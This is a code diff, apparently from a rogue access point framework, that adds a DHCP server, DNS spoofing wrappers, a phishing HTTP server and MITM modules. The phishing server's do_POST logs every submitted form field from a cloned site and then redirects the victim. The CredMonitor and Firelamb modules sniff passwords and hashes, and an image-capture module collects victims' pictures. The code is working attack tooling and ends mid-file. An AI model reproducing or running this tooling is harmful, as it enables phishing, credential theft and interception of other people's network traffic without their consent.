https://github.com/NORMA-Inc/AtEar/blob/master/module/fake_ap.py +class DHCPServer(QThread): + ''' + Original from https://github.com/psychomario/PyPXE + + This class implements a DHCP Server, limited to PXE options. + Implemented from RFC2131, RFC2132, + https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol, + and http://www.pix.net/software/pxeboot/archive/pxespec.pdf. + ''' + sendConnetedClient = pyqtSignal(object) + def __init__(self,iface,dhcp_options=dict()): + super(DHCPServer, self).__init__(parent = None) + self.dhcp_options = dhcp_options + self.iface = iface + # If SO_BINDTODEVICE is present, it is possible for dhcpd to operate on Linux with more than one network interface. + # man 7 socket + if not hasattr(IN, "SO_BINDTODEVICE"): + IN.SO_BINDTODEVICE = 25 + self.LoopDhcpStatus = True + self.ip = self.dhcp_options['router'] + self.port = 67 + self.offer_from = self.dhcp_options['range'].split('/')[0] + self.offer_to = self.dhcp_options['range'].split('/')[1] + self.subnet_mask = self.dhcp_options['netmask'] + self.router = self.dhcp_options['router'] + self.dns_server = self.router # share internet + self.broadcast = '' + self.file_server = self.ip + self.file_name = '' # ?? + if not self.file_name: + self.force_file_name = False + self.file_name = 'pxelinux.0' + else: + self.force_file_name = True + self.ipxe = False + self.http = False + self.mode_proxy = False + self.static_config = dict() + self.whitelist = False + self.mode_debug = False + # The value of the magic-cookie is the 4 octet dotted decimal 99.130.83.99 + # (or hexadecimal number 63.82.53.63) in network byte order. + # (this is the same magic cookie as is defined in RFC 1497 [17]) + # In module struct '!' mean Big-endian + # 'I' mean unsigned int + self.magic = struct.pack('!I', 0x63825363) # magic cookie. + + self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + self.sock.setsockopt(socket.SOL_SOCKET, IN.SO_BINDTODEVICE, self.iface + '\0') + self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) + self.sock.bind(('', self.port)) + + # Specific key is MAC + self.options = dict() + self.leases = defaultdict(lambda: {'ip': '', 'expire': 0, 'ipxe': self.ipxe}) + + + def get_namespaced_static(self, path, fallback = {}): + statics = self.static_config + for child in path.split('.'): + statics = statics.get(child, {}) + return statics if statics else fallback + + def next_ip(self): + ''' + This method returns the next unleased IP from range; + also does lease expiry by overwrite. + ''' + + # if we use ints, we don't have to deal with octet overflow + # or nested loops (up to 3 with 10/8); convert both to 32-bit integers + + # e.g '192.168.1.1' to 3232235777 + encode = lambda x: struct.unpack('!I', socket.inet_aton(x))[0] + + # e.g 3232235777 to '192.168.1.1' + decode = lambda x: socket.inet_ntoa(struct.pack('!I', x)) + + from_host = encode(self.offer_from) + to_host = encode(self.offer_to) + + # pull out already leased IPs + leased = [self.leases[i]['ip'] for i in self.leases + if self.leases[i]['expire'] > time.time()] + + # convert to 32-bit int + leased = map(encode, leased) + + # loop through, make sure not already leased and not in form X.Y.Z.0 + for offset in xrange(to_host - from_host): + if (from_host + offset) % 256 and from_host + offset not in leased: + return decode(from_host + offset) + raise OutOfLeasesError('Ran out of IP addresses to lease!') + + def tlv_encode(self, tag, value): + '''Encode a TLV option.''' + return struct.pack('BB', tag, len(value)) + value + + def tlv_parse(self, raw): + '''Parse a string of TLV-encoded options.''' + ret = {} + while(raw): + [tag] = struct.unpack('B', raw[0]) + if tag == 0: # padding + raw = raw[1:] + continue + if tag == 255: # end marker + break + [length] = struct.unpack('B', raw[1]) + value = raw[2:2 + length] + raw = raw[2 + length:] + if tag in ret: + ret[tag].append(value) + else: + ret[tag] = [value] + return ret + + def get_mac(self, mac): + ''' + This method converts the MAC Address from binary to + human-readable format for logging. + ''' + return ':'.join(map(lambda x: hex(x)[2:].zfill(2), struct.unpack('BBBBBB', mac))).upper() + + def craft_header(self, message): + '''This method crafts the DHCP header using parts of the message.''' + xid, flags, yiaddr, giaddr, chaddr = struct.unpack('!4x4s2x2s4x4s4x4s16s', message[:44]) + client_mac = chaddr[:6] + + # op, htype, hlen, hops, xid + response = struct.pack('!BBBB4s', 2, 1, 6, 0, xid) + if not self.mode_proxy: + response += struct.pack('!HHI', 0, 0, 0) # secs, flags, ciaddr + else: + response += struct.pack('!HHI', 0, 0x8000, 0) + if not self.mode_proxy: + if self.leases[client_mac]['ip']: # OFFER + offer = self.leases[client_mac]['ip'] + else: # ACK + offer = self.get_namespaced_static('dhcp.binding.{0}.ipaddr'.format(self.get_mac(client_mac))) + offer = offer if offer else self.next_ip() + self.leases[client_mac]['ip'] = offer + self.leases[client_mac]['expire'] = time.time() + 86400 + response += socket.inet_aton(offer) # yiaddr + else: + response += socket.inet_aton('0.0.0.0') + response += socket.inet_aton(self.file_server) # siaddr + response += socket.inet_aton('0.0.0.0') # giaddr + response += chaddr # chaddr + + # BOOTP legacy pad + response += chr(0) * 64 # server name + if self.mode_proxy: + response += self.file_name + response += chr(0) * (128 - len(self.file_name)) + else: + response += chr(0) * 128 + response += self.magic # magic section + return (client_mac, response) + + def craft_options(self, opt53, client_mac): + ''' + @brief This method crafts the DHCP option fields + @param opt53: + * 2 - DHCPOFFER + * 5 - DHCPACK + @see RFC2132 9.6 for details. + ''' + response = self.tlv_encode(53, chr(opt53)) # message type, OFFER + response += self.tlv_encode(54, socket.inet_aton(self.ip)) # DHCP Server + if not self.mode_proxy: + subnet_mask = self.get_namespaced_static('dhcp.binding.{0}.subnet'.format(self.get_mac(client_mac)), self.subnet_mask) + response += self.tlv_encode(1, socket.inet_aton(subnet_mask)) # subnet mask + router = self.get_namespaced_static('dhcp.binding.{0}.router'.format(self.get_mac(client_mac)), self.router) + response += self.tlv_encode(3, socket.inet_aton(router)) # router + dns_server = self.get_namespaced_static('dhcp.binding.{0}.dns'.format(self.get_mac(client_mac)), [self.dns_server]) + dns_server = ''.join([socket.inet_aton(i) for i in dns_server]) + response += self.tlv_encode(6, dns_server) + response += self.tlv_encode(51, struct.pack('!I', 86400)) # lease time + + # TFTP Server OR HTTP Server; if iPXE, need both + response += self.tlv_encode(66, self.file_server) + + # file_name null terminated + if not self.ipxe or not self.leases[client_mac]['ipxe']: + # http://www.syslinux.org/wiki/index.php/PXELINUX#UEFI + if 93 in self.leases[client_mac]['options'] and not self.force_file_name: + [arch] = struct.unpack("!H", self.leases[client_mac]['options'][93][0]) + if arch == 0: # BIOS/default + response += self.tlv_encode(67, 'pxelinux.0' + chr(0)) + elif arch == 6: # EFI IA32 + response += self.tlv_encode(67, 'syslinux.efi32' + chr(0)) + elif arch == 7: # EFI BC, x86-64 (according to the above link) + response += self.tlv_encode(67, 'syslinux.efi64' + chr(0)) + elif arch == 9: # EFI x86-64 + response += self.tlv_encode(67, 'syslinux.efi64' + chr(0)) + else: + response += self.tlv_encode(67, self.file_name + chr(0)) + else: + response += self.tlv_encode(67, 'chainload.kpxe' + chr(0)) # chainload iPXE + if opt53 == 5: # ACK + self.leases[client_mac]['ipxe'] = False + if self.mode_proxy: + response += self.tlv_encode(60, 'PXEClient') + response += struct.pack('!BBBBBBB4sB', 43, 10, 6, 1, 0b1000, 10, 4, chr(0) + 'PXE', 0xff) + response += '\xff' + return response + + def dhcp_offer(self, message): + '''This method responds to DHCP discovery with offer.''' + client_mac, header_response = self.craft_header(message) + options_response = self.craft_options(2, client_mac) # DHCPOFFER + response = header_response + options_response + self.sock.sendto(response, (self.broadcast, 68)) + + def dhcp_ack(self, message): + '''This method responds to DHCP request with acknowledge.''' + client_mac, header_response = self.craft_header(message) + options_response = self.craft_options(5, client_mac) # DHCPACK + response = header_response + options_response + self.sock.sendto(response, (self.broadcast, 68)) + + def validate_req(self): + return False + + def run(self): + '''Main listen loop.''' + while self.LoopDhcpStatus: + message, address = self.sock.recvfrom(1024) + # 28 bytes of padding + # 6 bytes MAC to string. + [client_mac] = struct.unpack('!28x6s', message[:34]) # Get MAC address + self.leases[client_mac]['options'] = self.tlv_parse(message[240:]) + type = ord(self.leases[client_mac]['options'][53][0]) # see RFC2131, page 10 + if type == 1: + try: + self.dhcp_offer(message) + self.sendConnetedClient.emit({ + 'ip_addr': self.leases[client_mac]['ip'], + 'host_name': self.leases[client_mac]['options'][12][0], + 'mac_addr': self.get_mac([client_mac][0]).lower(), + }) + except OutOfLeasesError: + pass + except Exception: + self.sendConnetedClient.emit({ + 'ip_addr': self.leases[client_mac]['ip'], + 'host_name': 'unknown', + 'mac_addr': self.get_mac([client_mac][0]).lower(), + }) + elif type == 3 and address[0] == '0.0.0.0' and not self.mode_proxy: + self.dhcp_ack(message) + elif type == 3 and address[0] != '0.0.0.0' and self.mode_proxy: + self.dhcp_ack(message) + + def stop(self): + print('Thread::[DHCPServer] successfully stopped') + self.LoopDhcpStatus = False + + diff --git a/core/servers/dhcp/iscDHCP.py b/core/servers/dhcp/iscDHCP.py new file mode 100644 index 0000000..d0ed9b3 --- /dev/null +++ b/core/servers/dhcp/iscDHCP.py @@ -0,0 +1,35 @@ +from core.config.globalimport import * +from os import * +from core.utility.threads import ThRunDhcp +from core.servers.dhcp.dhcp import DHCPServers + +class ISCDHCP(DHCPServers): + Name = "ISC DHCP Server" + ID = "ISCDHCP" + ExecutableFile = "dhcpd" + def __init__(self,parent=0): + super(ISCDHCP,self).__init__(parent) + self.service = None + if self.command is None: + self.controlui.setText("{} not Found".format(self.Name)) + self.controlui.setDisabled(True) + + def Initialize(self): + leases = C.DHCPLEASES_PATH + if not path.exists(leases[:-12]): + mkdir(leases[:-12]) + if not path.isfile(leases): + with open(leases, 'wb') as leaconf: + leaconf.close() + uid = getpwnam('root').pw_uid + gid = getgrnam('root').gr_gid + chown(leases, uid, gid) + + def boot(self): + self.reactor = ThRunDhcp(['dhcpd', '-d', '-f', '-lf', C.DHCPLEASES_PATH, '-cf', + '/etc/dhcp/dhcpd.conf', self.parent.SettingsEnable['AP_iface']], + self.parent.currentSessionID) + self.reactor.sendRequest.connect(self.get_DHCP_Requests_clients) + self.reactor.setObjectName('ISC_DHCP') + + \ No newline at end of file diff --git a/core/servers/dns/DNS2ProxyServer.py b/core/servers/dns/DNS2ProxyServer.py new file mode 100644 index 0000000..30b2ef9 --- /dev/null +++ b/core/servers/dns/DNS2ProxyServer.py @@ -0,0 +1,21 @@ +from core.config.globalimport import * +from core.utility.threads import ProcessThread +from core.servers.dns.DNSBase import DNSBase + +class DNS2ProxyServer(DNSBase): + ID = "DNS2Proxy" + Name = "DNS2Proxy Server" + ExecutableFile = "plugins/external/dns2proxy/dns2proxy.py" + def __init__(self,parent): + super(DNS2ProxyServer,self).__init__(parent) + @property + def commandargs(self): + cmd=[] + cmd.insert(0,self.ExecutableFile) + cmd.extend(['-i',str(self.parent.SessionConfig.Wireless.WLANCard.currentText()),'-k', self.parent.currentSessionID]) + return cmd + def boot(self): + self.reactor = ProcessThread({'python': self.commandargs}) + #self.reactor._ProcssOutput.connect(self.parent.get_dns2proxy_output) + self.reactor._ProcssOutput.connect(self.LogOutput) + self.reactor.setObjectName(self.Name) # use dns2proxy as DNS server diff --git a/core/servers/dns/DNSBase.py b/core/servers/dns/DNSBase.py new file mode 100644 index 0000000..77e3906 --- /dev/null +++ b/core/servers/dns/DNSBase.py @@ -0,0 +1,104 @@ +import weakref +from core.config.globalimport import * +from core.widgets.default.uimodel import * +from core.widgets.docks.dock import * +from core.widgets.default.SessionConfig import SessionConfig +from core.utility.component import ComponentBlueprint +from core.utility.threads import (ProcessThread) + + +class DNSBase(QtGui.QWidget,ComponentBlueprint): + Name = "DNSBaseClass" + ID = "DNSBase" + ConfigRoot="DNSServer" + ExecutableFile = "" + hasPreference = False + arguments =[['label','switch','type','defaultvalue','enabled','required'], + ] + + addDock = QtCore.pyqtSignal(object) + def __init__(self,parent,**kwargs): + super(DNSBase,self).__init__(parent) + self.parent = parent + self.FSettings = SuperSettings.getInstance() + self.SessionConfig = SessionConfig.getInstance() + self.dockwidget = DNSDock(self,title=self.Name) + self.reactor = None + self.LogFile ="logs/AccessPoint/{}.log".format(self.ID) + self.DialogParams = OptionDialog(self) + + setup_logger(self.Name, self.LogFile, self.parent.currentSessionID) + self.logger = getLogger(self.Name) + + self.btnsettings = QtGui.QPushButton("Parameters") + self.btnsettings.clicked.connect(self.showarguments) + self.btnsettings.setMaximumWidth(100) + self.btnsettings.setMaximumHeight(30) + self.controlui = QtGui.QRadioButton("{}".format(self.Name)) + self.controlui.toggled.connect(self.controluiCallback) + self.controlui.setChecked(self.FSettings.Settings.get_setting(self.ConfigRoot,self.ID,format=bool)) + self.controluiCallback() + def showarguments(self): + self.DialogParams.show() + + def controluiCallback(self): + self.FSettings.Settings.set_setting(self.ConfigRoot, + self.ID, self.controlui.isChecked()) + self.btnsettings.setEnabled(self.controlui.isChecked()) + self.dockwidget.addDock.emit(self.controlui.isChecked()) + @property + def commandargs(self): + pass + @property + def command(self): + cmdpath = os.popen('which {}'.format(self.ExecutableFile)).read().split('\n')[0] + if cmdpath: + return cmdpath + else: + return None + def boot(self): + self.reactor = ProcessThread({self.command: self.commandargs}) + self.reactor._ProcssOutput.connect(self.LogOutput) + self.reactor.setObjectName(self.Name) # use dns2proxy as DNS server + def LogOutput(self,data): + if self.FSettings.Settings.get_setting('accesspoint', 'statusAP', format=bool): + try: + data = str(data).split(' : ')[1] + for line in data.split('\n'): + if len(line) > 2 and not self.parent.currentSessionID in line: + self.dockwidget.writeModeData(line) + self.logger.info(line) + except IndexError: + return None + + +class DNSSettings(CoreSettings): + Name = "DNS Server" + ID = "DNSSettings" + Category = "DNS" + instances =[] + + def __init__(self,parent=None): + super(DNSSettings,self).__init__(parent) + self.__class__.instances.append(weakref.proxy(self)) + self.setCheckable(False) + self.forml = QtGui.QFormLayout() + self.dnslist = [dns(self.parent) for dns in DNSBase.__subclasses__()] + for dns in self.dnslist: + if dns.hasPreference: + self.forml.addRow(dns.controlui,dns.btnsettings) + else: + self.forml.addRow(dns.controlui) + self.layout.addLayout(self.forml) + + @classmethod + def getInstance(cls): + return cls.instances[0] + + +class DNSDock(DockableWidget): + def __init__(self,parent=0,title="",info={}): + super(DNSDock,self).__init__(parent,title,info) + self.setObjectName(title) + + diff --git a/core/servers/dns/DNSChef.py b/core/servers/dns/DNSChef.py new file mode 100644 index 0000000..95f1ead --- /dev/null +++ b/core/servers/dns/DNSChef.py @@ -0,0 +1,16 @@ +from core.config.globalimport import * +from core.utility.threads import ProcessThread +from core.servers.dns.DNSBase import DNSBase +from core.servers.dhcp.dhcpserver import DNSServer + +class DNSChef(DNSBase): + ID = "DNSChef" + Name = "DNSChef Server" + ExecutableFile = "dnschef" + def __init__(self,parent): + super(DNSChef,self).__init__(parent) + @property + def commandargs(self): + cmd=[] + cmd.extend(['-i',str(self.SessionConfig.DHCP.router.text()),'-p', '53']) + return cmd diff --git a/core/servers/dns/DNSMasq.py b/core/servers/dns/DNSMasq.py new file mode 100644 index 0000000..050d1ec --- /dev/null +++ b/core/servers/dns/DNSMasq.py @@ -0,0 +1,20 @@ +from core.config.globalimport import * +from core.utility.threads import ProcessThread +from core.servers.dns.DNSBase import DNSBase +from core.servers.dhcp.dhcpserver import DNSServer + +class DNSMasq(DNSBase): + ID = "DNSMasq" + Name = "DNSMasq Server" + ExecutableFile = "dnsmasq" + def __init__(self,parent): + super(DNSMasq,self).__init__(parent) + if self.command is None: + self.controlui.setText("{} not Found".format(self.Name)) + self.controlui.setDisabled(True) + + @property + def commandargs(self): + cmd=[] + cmd.extend(['-i',str(self.SessionConfig.DHCP.router.text()),'-p', '53']) + return cmd diff --git a/core/servers/dns/DNSSpoof.py b/core/servers/dns/DNSSpoof.py new file mode 100644 index 0000000..f78d83e --- /dev/null +++ b/core/servers/dns/DNSSpoof.py @@ -0,0 +1,20 @@ +from core.config.globalimport import * +from core.utility.threads import ProcessThread +from core.servers.dns.DNSBase import DNSBase +from core.servers.dhcp.dhcpserver import DNSServer + +class DNSSpoof(DNSBase): + ID = "DNSSpoof" + Name = "DNSSpoof Server" + ExecutableFile = "dnsspoofer" + def __init__(self,parent): + super(DNSSpoof,self).__init__(parent) + if self.command is None: + self.controlui.setText("{} not Found".format(self.Name)) + self.controlui.setDisabled(True) + + @property + def commandargs(self): + cmd=[] + cmd.extend(['-i',str(self.SessionConfig.DHCP.router.text()),'-p', '53']) + return cmd diff --git a/core/servers/dns/PyDNS.py b/core/servers/dns/PyDNS.py new file mode 100644 index 0000000..55fb53a --- /dev/null +++ b/core/servers/dns/PyDNS.py @@ -0,0 +1,19 @@ +from core.config.globalimport import * +from core.utility.threads import ProcessThread +from core.servers.dns.DNSBase import DNSBase +from core.servers.dhcp.dhcpserver import DNSServer + +class PyDNSServer(DNSBase): + ID = "PyDNS" + Name = "PyDNS Server" + ExecutableFile = "" + def __init__(self,parent): + super(PyDNSServer,self).__init__(parent) + @property + def commandargs(self): + pass + + def boot(self): + self.reactor = DNSServer(str(self.SessionConfig.Wireless.WLANCard.currentText()), + self.SessionConfig.DHCP.conf['router']) + self.reactor.setObjectName(self.Name) # use dns2proxy as DNS server diff --git a/core/servers/dns/__init__.py b/core/servers/dns/__init__.py new file mode 100644 index 0000000..9f6a139 --- /dev/null +++ b/core/servers/dns/__init__.py @@ -0,0 +1,3 @@ +import os +import glob +__all__ = [ os.path.basename(f)[:-3] for f in glob.glob(os.path.dirname(__file__)+"/*.py")] \ No newline at end of file diff --git a/core/servers/http_handler/ServerHTTP.py b/core/servers/http_handler/ServerHTTP.py index 018f1bc..e80c68a 100644 --- a/core/servers/http_handler/ServerHTTP.py +++ b/core/servers/http_handler/ServerHTTP.py @@ -13,12 +13,12 @@ class ServerHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): ''' server http for website clone module Phishing''' - redirect_Original_website,redirect_Path,only_server = None,None,False + redirect_Original_website,redirect_Path = None,None def do_GET(self): self.log_message('',"Connected : %s" %(self.address_string())) if self.path =='/':self.path = self.redirect_Path if self.path.startswith('/'): self.path = self.redirect_Path + self.path - return SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self) + SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self) def log_message(self, format, *args): return @@ -31,22 +31,22 @@ def redirect(self, page="/"): self.end_headers() def do_POST(self): - try: - if not self.only_server: - form = cgi.FieldStorage( - fp=self.rfile, - headers=self.headers, - environ={'REQUEST_METHOD':'POST', - 'CONTENT_TYPE':self.headers['Content-Type'], - } - ) - if form.list: - for item in form.list: - if item.name and item.value: - self.log_message('',item.name+' : '+item.value) - except: pass - self.redirect(self.redirect_Original_website) - self.connection.close() + redirect = False + form = cgi.FieldStorage( + fp=self.rfile, + headers=self.headers, + environ={'REQUEST_METHOD':'POST', + 'CONTENT_TYPE':self.headers['Content-Type'], + } + ) + if not form.list: return + redirect = True + for item in form.list: + if item.name and item.value: + self.log_message('',item.name+' : '+item.value) + if redirect: + self.redirect(self.redirect_Original_website) + SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self) class ServerPhishing(SimpleHTTPServer.SimpleHTTPRequestHandler): ''' server http for website clone module Phishing''' @@ -57,11 +57,6 @@ def do_GET(self): if self.path.startswith('/'): self.path = self.redirect_Path + self.path SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self) - def do_POST(self): - self.send_response(301) - self.end_headers() - self.connection.close() - def log_message(self, format, *args): return class MyHTTPServer(BaseHTTPServer.HTTPServer): @@ -71,13 +66,9 @@ def __init__(self, *args, **kwargs): BaseHTTPServer.HTTPServer.__init__(self, *args, **kwargs) def serve_forever(self, poll_interval=0.5): - try: - if self.on_before_serve: - self.on_before_serve(self) - BaseHTTPServer.HTTPServer.serve_forever(self, poll_interval) - except Exception as e: - print e - print "ok\n" + if self.on_before_serve: + self.on_before_serve(self) + BaseHTTPServer.HTTPServer.serve_forever(self, poll_interval) class ThreadHTTPServerPhishing(QThread): ''' server http for website module::UpdateFake''' @@ -122,10 +113,7 @@ def run(self): self.Handler.log_message = self.Method_GET_LOG setup_logger('phishing', LOG_PHISHING, key=self.session) self.log_phishing = logging.getLogger('phishing') - try: - self.httpd.serve_forever() - except Exception as e: - print e + self.httpd.serve_forever() def Method_GET_LOG(self,format, *args): self.log_phishing.info(list(args)[0]) diff --git a/core/servers/http_handler/proxyhandler/CredMonitor.py b/core/servers/http_handler/proxyhandler/CredMonitor.py new file mode 100644 index 0000000..3e467de --- /dev/null +++ b/core/servers/http_handler/proxyhandler/CredMonitor.py @@ -0,0 +1,71 @@ +from core.servers.http_handler.proxyhandler.MitmMode import MitmMode +import core.utility.constants as C +from collections import OrderedDict +from PyQt4.QtGui import * +from PyQt4.QtCore import * +from PyQt4.Qt import * + +from core.widgets.docks.dock import DockableWidget +class NetCredential(DockableWidget): + id = "NetCredential" + title = "Net Crendential" + def __init__(self,parent=None,title="",info={}): + super(NetCredential,self).__init__(parent,title,info) + self.setObjectName(self.title) + self.maindockwidget = QTableWidget() + self.maindockwidget.setColumnCount(4) + self.maindockwidget.resizeRowsToContents() + self.maindockwidget.setSizePolicy(QSizePolicy.Preferred, QSizePolicy.Preferred) + self.maindockwidget.horizontalHeader().setStretchLastSection(True) + self.maindockwidget.setSelectionBehavior(QAbstractItemView.SelectRows) + self.maindockwidget.verticalHeader().setVisible(False) + self.maindockwidget.verticalHeader().setDefaultSectionSize(27) + self.maindockwidget.setSortingEnabled(True) + self.THeaders = OrderedDict([ ('Username',[]),('Password',[]),('Url',[]),('Source/Destination',[])]) + self.maindockwidget.setHorizontalHeaderLabels(self.THeaders.keys()) + self.maindockwidget.horizontalHeader().resizeSection(0,120) + self.maindockwidget.horizontalHeader().resizeSection(1,120) + self.maindockwidget.horizontalHeader().resizeSection(2,180) + self.setWidget(self.maindockwidget) + + def writeModeData(self,data): + ''' get data output and add on QtableWidgets ''' + self.THeaders['Username'].append(data['POSTCreds']['User']) + self.THeaders['Password'].append(data['POSTCreds']['Pass']) + self.THeaders['Url'].append(data['POSTCreds']['Url']) + self.THeaders['Source/Destination'].append(data['POSTCreds']['Destination']) + Headers = [] + self.maindockwidget.setRowCount(len(self.THeaders['Username'])) + for n, key in enumerate(self.THeaders.keys()): + Headers.append(key) + for m, item in enumerate(self.THeaders[key]): + item = QTableWidgetItem(item) + item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter) + self.maindockwidget.setItem(m, n, item) + self.maindockwidget.setHorizontalHeaderLabels(self.THeaders.keys()) + self.maindockwidget.verticalHeader().setDefaultSectionSize(27) + self.maindockwidget.scrollToBottom() + + def stopProcess(self): + self.maindockwidget.setRowCount(0) + self.maindockwidget.clearContents() + self.maindockwidget.setHorizontalHeaderLabels(self.THeaders.keys()) + +class CredMonitor(MitmMode): + Name = "CredMonitor" + ID = "CredMonitor" + Author = "Pumpkin-Dev" + Description = "Sniff data/passwords packets as they are transmitted over HTTP protocol." + Icon = "icons/tcpproxy.png" + LogFile = C.LOG_CREDSCAPTURE + _cmd_array = [] + ModSettings = True + ModType = "proxy" # proxy or server + def __init__(self,parent,FSettingsUI=None,main_method=None, **kwargs): + super(CredMonitor, self).__init__(parent) + self.dockwidget = NetCredential(None,title=self.Name) + @property + def CMD_ARRAY(self): + return None + + diff --git a/core/servers/http_handler/proxyhandler/Firelamb.py b/core/servers/http_handler/proxyhandler/Firelamb.py new file mode 100644 index 0000000..bde8240 --- /dev/null +++ b/core/servers/http_handler/proxyhandler/Firelamb.py @@ -0,0 +1,61 @@ +from core.servers.http_handler.proxyhandler.MitmMode import MitmMode +import core.utility.constants as C +from collections import OrderedDict +from PyQt4.QtGui import * +from PyQt4.QtCore import * +from PyQt4.Qt import * + +from core.widgets.docks.dock import DockableWidget +class FirelambDock(DockableWidget): + id = "Firelamb" + title = "Firelamb" + def __init__(self,parent=None,title="",info={}): + super(FirelambDock,self).__init__(parent,title,info) + self.maindockwidget = QTreeView() + self.maindockwidget.setSelectionBehavior(QAbstractItemView.SelectRows) + self.model = QStandardItemModel() + self.model.setHorizontalHeaderLabels(['URL', 'HTTP-Headers']) + self.maindockwidget.setModel(self.model) + self.maindockwidget.setUniformRowHeights(True) + self.maindockwidget.setColumnWidth(0, 130) + self.setWidget(self.maindockwidget) + self.setObjectName(self.title) + + def writeModeData(self, data): + ''' get data output and add on QtableWidgets ''' + ParentMaster = QStandardItem('[ {0[src]} > {0[dst]} ] {1[Method]} {1[Host]}{1[Path]}'.format( + data['urlsCap']['IP'], data['urlsCap']['Headers'])) + ParentMaster.setIcon(QIcon('icons/accept.png')) + ParentMaster.setSizeHint(QSize(30, 30)) + for item in data['urlsCap']['Headers']: + ParentMaster.appendRow([QStandardItem('{}'.format(item)), + QStandardItem(data['urlsCap']['Headers'][item])]) + self.maindockwidget.model.appendRow(ParentMaster) + self.maindockwidget.setFirstColumnSpanned(ParentMaster.row(), + self.rootIndex(), True) + self.maindockwidget.scrollToBottom() + + def clear(self): + self.model.clear() + + def stopProcess(self): + self.maindockwidget.clearSelection() +class Firelamb(MitmMode): + Name = "Firelamb" + Author = "Wahyudin Aziz" + ID = "Firelamb" + Description = "Sniff passwords and hashes from an interface or pcap file coded by: Dan McInerney" + Icon = "icons/tcpproxy.png" + LogFile = C.LOG_CREDSCAPTURE + _cmd_array = [] + ModSettings = True + ModType = "proxy" # proxy or server + def __init__(self,parent,FSettingsUI=None,main_method=None, **kwargs): + super(Firelamb, self).__init__(parent) + self.dockwidget = FirelambDock(None,title=self.Name) + @property + def CMD_ARRAY(self): + self._cmd_array=[C.FIRELAMB_EXEC,'-i',str(self.Wireless.WLANCard.currentText())] + return self._cmd_array + + diff --git a/core/servers/http_handler/proxyhandler/ImageCapture.py b/core/servers/http_handler/proxyhandler/ImageCapture.py new file mode 100644 index 0000000..33f1e97 --- /dev/null +++ b/core/servers/http_handler/proxyhandler/ImageCapture.py @@ -0,0 +1,71 @@ +from collections import OrderedDict + +from core.main import QtGui,QtCore +from core.servers.http_handler.proxyhandler.MitmMode import MitmMode + + +class ImageCapture(MitmMode): + Name = "Image Capture" + ID = "ImageCapture" + Author = "Pumpkin-Dev" + Description = "Capture Image Sniffed from the connection" + Icon = "icons/image.png" + ModSettings = True + Hidden = False + ModType = "proxy" # proxy or server + def __init__(self,parent,FSettingsUI=None,main_method=None, **kwargs): + super(ImageCapture, self).__init__(parent) + self.mainLayout = QtGui.QVBoxLayout() + self.main_method = main_method + #scroll area + self.scrollwidget = QtGui.QWidget() + self.scrollwidget.setLayout(self.mainLayout) + self.scroll = QtGui.QScrollArea() + self.scroll.setWidgetResizable(True) + self.scroll.setWidget(self.scrollwidget) + self.imagesList = [] + + self.THUMBNAIL_SIZE = 146 + self.SPACING = 8 + self.IMAGES_PER_ROW = 4 + self.TableImage = QtGui.QTableWidget() + self.TableImage.setIconSize(QtCore.QSize(146, 146)) + self.TableImage.setColumnCount(self.IMAGES_PER_ROW) + self.TableImage.setGridStyle(QtCore.Qt.NoPen) + + self.TableImage.verticalHeader().setDefaultSectionSize(self.THUMBNAIL_SIZE + self.SPACING) + self.TableImage.verticalHeader().hide() + self.TableImage.horizontalHeader().setDefaultSectionSize(self.THUMBNAIL_SIZE + self.SPACING) + self.TableImage.horizontalHeader().hide() + + self.TableImage.setMinimumWidth((self.THUMBNAIL_SIZE + self.SPACING) * self.IMAGES_PER_ROW + (self.SPACING * 2)) + self.imageListPath = OrderedDict([ ('Path',[])]) + self.mainLayout.addWidget(self.TableImage) + self.layout = QtGui.QHBoxLayout() + self.layout.addWidget(self.scroll) + self.setLayout(self.layout) + + def SendImageTableWidgets(self,image): + self.imageListPath['Path'].append(image) + rowCount = len(self.imageListPath['Path']) // self.IMAGES_PER_ROW + if len(self.imageListPath['Path']) % self.IMAGES_PER_ROW: rowCount += 1 + self.TableImage.setRowCount(rowCount) + row = -1 + for i, picture in enumerate(self.imageListPath['Path']): + col = i % self.IMAGES_PER_ROW + if not col: row += 1 + self.addPicture(row, col, picture) + + def addPicture(self, row, col, picturePath): + item = QtGui.QTableWidgetItem() + p = QtGui.QPixmap(picturePath) + if not p.isNull(): + if p.height() > p.width(): + p = p.scaledToWidth(self.THUMBNAIL_SIZE) + else: + p = p.scaledToHeight(self.THUMBNAIL_SIZE) + p = p.copy(0, 0, self.THUMBNAIL_SIZE, self.THUMBNAIL_SIZE) + item.setIcon(QtGui.QIcon(p)) + self.TableImage.setItem(row, col, item) + self.TableImage.scrollToBottom() + diff --git a/core/servers/http_handler/proxyhandler/MitmMode.py b/core/servers/http_handler/proxyhandler/MitmMode.py new file mode 100644 index 0000000..afcd9a4 --- /dev/null +++ b/core/servers/http_handler/proxyhandler/MitmMode.py @@ -0,0 +1,130 @@ +from core.utility.threads import ( + ProcessThread +) +from core.widgets.docks.dock import DockableWidget +from core.controllers.wirelessmodecontroller import AccessPointSettings +from core.widgets.default.uimodel import * +class Widget(QtGui.QFrame): + def __init__(self,parent): + QtGui.QWidget.__init__(self,parent) +class VBox(QtGui.QVBoxLayout): + def __init__(self): + QtGui.QVBoxLayout.__init__(self) +class MitmDock(DockableWidget): + id = "Generic" + title = "Generic" + + def __init__(self,parent=0,title="",info={}): + super(MitmDock,self).__init__(parent,title,info) + self.setObjectName(self.title) + + +class MitmMode(Widget): + Name = "Generic" + ID = "Generic" + Author = "Wahyudin Aziz" + Description = "Generic Placeholder for Attack Scenario" + Icon = "icons/plugins-new.png" + LogFile = C.LOG_ALL + ModSettings = False + ModType = "proxy" # proxy or server + Hidden = True + _cmd_array = [] + plugins = [] + sendError = QtCore.pyqtSignal(str) + sendSingal_disable = QtCore.pyqtSignal(object) + + def __init__(self,parent=None): + super(MitmMode, self).__init__(parent) + self.parent = parent + self.FSettings = SuperSettings.getInstance() + self.reactor = None + self.server = None + setup_logger(self.Name, self.LogFile, self.parent.currentSessionID) + self.logger = getLogger(self.Name) + self.popup = QtGui.QWidget() + self.tabinterface = QtGui.QListWidgetItem() + 